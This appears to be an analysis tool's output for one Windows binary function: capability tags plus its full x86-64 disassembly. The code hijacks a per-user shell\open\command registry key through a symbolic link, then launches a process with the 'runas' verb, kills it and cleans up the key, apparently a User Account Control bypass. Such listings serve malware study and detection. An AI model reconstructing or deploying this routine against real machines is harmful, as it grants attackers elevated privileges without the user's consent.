Function at 0x140016979
Capabilities:
Create process on windows
Delete registry key
Set registry value
Terminate process

Disassembly:
jmp 0x140028bf0
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
mov eax, 0x1858
call fcn.14001622b
sub rsp, rax
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x482
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x1878]
mov rax, qword [0x140074400]
xor rax, rbp
mov qword [rbp + 0x17f8], rax
lea rcx, [0x14007dfd3]
call fcn.140016b68
nop
mov dword [rbp + 4], 0xc0000022
mov byte [rbp + 0x24], 0
mov dword [rbp + 0x44], 0xc0000022
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0xa8], 0
mov qword [rbp + 0x10f8], 0
mov eax, 0x22
mov word [rbp + 0x1158], ax
mov eax, 0x24
mov word [rbp + 0x115a], ax
lea rax, str.SymbolicLinkValue
mov qword [rbp + 0x1160], rax
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 0x1184], eax
mov edx, 0x410
lea rcx, [rbp + 0x1b0]
call fcn.140016825
nop
lea rcx, [rbp + 0x118]
call qword [sym.imp.ntdll.dll_RtlFormatCurrentUserKeyPath]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140028cee
jmp 0x140029186
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x118]
call fcn.14001675d
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140028d0f
jmp 0x140029186
mov eax, 2
imul rax, rax, 0
mov ecx, 0x5c
mov word [rbp + rax + 0x1b0], cx
mov qword [rbp + 0x17a8], 2
cmp qword [rbp + 0x17a8], 0x410
jae 0x140028d3f
jmp 0x140028d45
call fcn.140016857
nop
xor eax, eax
mov rcx, qword [rbp + 0x17a8]
mov word [rbp + rcx + 0x1b0], ax
mov eax, 2
imul rax, rax, 1
lea rax, [rbp + rax + 0x1b0]
mov r8, rax
mov rdx, qword [rbp + 0x1838]
mov rcx, qword [rbp + 0x88]
call fcn.14001644c
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140028d8b
jmp 0x140029186
mov byte [rbp + 0x24], 1
lea rcx, [rbp + 0x1b0]
call fcn.1400162a3
movzx ecx, word [rbp + 0x11a]
lea rax, [rcx + rax*2 + 0x104]
mov qword [rbp + 0x1138], rax
mov rcx, qword [rbp + 0x1138]
call fcn.140016695
mov qword [rbp + 0x10f8], rax
cmp qword [rbp + 0x10f8], 0
jne 0x140028dd3
jmp 0x140029186
mov rax, qword [rbp + 0x10f8]
mov qword [rbp + 0x180], rax
xor eax, eax
mov word [rbp + 0x178], ax
movzx eax, word [rbp + 0x1138]
mov word [rbp + 0x17a], ax
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x178]
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeStringToString]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140028e1a
jmp 0x140029186
mov eax, 2
imul rax, rax, 0
mov ecx, 0x5c
mov word [rbp + rax + 0xa10], cx
mov qword [rbp + 0x17c8], 2
cmp qword [rbp + 0x17c8], 0x208
jae 0x140028e4a
jmp 0x140028e50
call fcn.140016857
nop
xor eax, eax
mov rcx, qword [rbp + 0x17c8]
mov word [rbp + rcx + 0xa10], ax
mov eax, 2
imul rax, rax, 1
lea rax, [rbp + rax + 0xa10]
lea rdx, str.SoftwareClasses
mov rcx, rax
call fcn.1400161f9
nop
lea rdx, [rbp + 0xa10]
lea rcx, [rbp + 0x178]
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeToString]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140028ea4
jmp 0x140029186
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x178]
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeToString]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140028ec6
jmp 0x140029186
mov r9d, 0x104
mov r8, qword [rbp + 0x1828]
mov edx, 0x104
lea rcx, [rbp + 0x5e0]
call fcn.1400165af
nop
lea rdx, str._shellopen
lea rcx, [rbp + 0x5e0]
call fcn.140016af0
nop
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x5e0]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x140028f47
jmp 0x140029186
lea rdx, str.command
lea rcx, [rbp + 0x148]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
nop
mov dword [rbp + 0xc8], 0x30
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0xd0], rax
mov dword [rbp + 0xe0], 0x40
lea rax, [rbp + 0x148]
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe8], 0
mov qword [rbp + 0xf0], 0
lea rax, [rbp + 0x1114]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0xc8]
mov edx, 0xf003f
lea rcx, [rbp + 0xa8]
call qword [sym.imp.ntdll.dll_NtCreateKey]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0xc0000035
jne 0x140029010
mov eax, dword [rbp + 0xe0]
bts eax, 8
mov dword [rbp + 0xe0], eax
lea r8, [rbp + 0xc8]
mov edx, 0xf003f
lea rcx, [rbp + 0xa8]
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x14002901b
jmp 0x140029186
mov rcx, qword [rbp + 0x180]
call fcn.1400162a3
shl rax, 1
mov qword [rbp + 0x1138], rax
movzx eax, word [rbp + 0x178]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x180]
mov qword [rsp + 0x20], rax
mov r9d, 6
xor r8d, r8d
lea rdx, [rbp + 0x1158]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ntdll.dll_NtSetValueKey]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140029073
jmp 0x140029186
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ntdll.dll_NtClose]
nop
mov qword [rbp + 0xa8], 0
cmp dword [rbp + 0x1820], 0x3d
je 0x1400290a2
cmp dword [rbp + 0x1820], 0x35
jne 0x140029163
mov rax, qword [0x140074d18]
add rax, 0x272
mov rdx, rax
lea rcx, [rbp + 0xc40]
call fcn.1400161f9
nop
mov rdx, qword [rbp + 0x1830]
lea rcx, [rbp + 0xc40]
call fcn.140016af0
nop
mov edx, 0x70
lea rcx, [rbp + 0x1070]
call fcn.140016825
nop
mov dword [rbp + 0x1070], 0x70
lea rax, str.runas
mov qword [rbp + 0x1080], rax
lea rax, [rbp + 0xc40]
mov qword [rbp + 0x1088], rax
mov dword [rbp + 0x10a0], 1
mov dword [rbp + 0x1074], 0x40
lea rcx, [rbp + 0x1070]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x140029161
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
xor edx, edx
mov rcx, qword [rbp + 0x10d8]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov rcx, qword [rbp + 0x10d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov dword [rbp + 4], 0
jmp 0x14002917c
xor edx, edx
mov rcx, qword [rbp + 0x1830]
call fcn.140016a37
test eax, eax
je 0x14002917c
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x140028cd3
cmp qword [rbp + 0xa8], 0
je 0x14002919e
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ntdll.dll_NtClose]
nop
cmp qword [rbp + 0x10f8], 0
je 0x1400291b5
mov rcx, qword [rbp + 0x10f8]
call fcn.140016c21
nop
movzx eax, byte [rbp + 0x24]
test eax, eax
je 0x1400291e9
cmp qword [rbp + 0x88], 0
je 0x1400291e9
mov eax, 2
imul rax, rax, 1
lea rax, [rbp + rax + 0x1b0]
mov rdx, rax
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
nop
cmp qword [rbp + 0x88], 0
je 0x140029201
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ntdll.dll_NtClose]
nop
cmp dword [rbp + 0x1184], 0
jl 0x140029211
call qword [sym.imp.ole32.dll_CoUninitialize]
nop
mov eax, 2
imul rax, rax, 0
mov ecx, 0x5c
mov word [rbp + rax + 0x5e0], cx
mov qword [rbp + 0x17e8], 2
cmp qword [rbp + 0x17e8], 0x410
jae 0x140029241
jmp 0x140029247
call fcn.140016857
nop
xor eax, eax
mov rcx, qword [rbp + 0x17e8]
mov word [rbp + rcx + 0x5e0], ax
mov eax, 2
imul rax, rax, 1
lea rax, [rbp + rax + 0x5e0]
lea rdx, str.SoftwareClasses
mov rcx, rax
call fcn.1400161f9
nop
lea rdx, [0x14004e560]
lea rcx, [rbp + 0x5e0]
call fcn.140016af0
nop
mov rdx, qword [rbp + 0x1828]
lea rcx, [rbp + 0x5e0]
call fcn.140016af0
nop
lea rdx, str._shellopen
lea rcx, [rbp + 0x5e0]
call fcn.140016af0
nop
lea rdx, [0x14004e560]
lea rcx, [rbp + 0x5e0]
call fcn.140016af0
nop
lea rdx, str.command
lea rcx, [rbp + 0x5e0]
call fcn.140016af0
nop
lea rcx, [rbp + 0x5e0]
call fcn.1400164a6
nop
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, reloc.Cabinet.dll_FCIDestroy
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x17f8]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x1808]
pop rdi
pop rbp
ret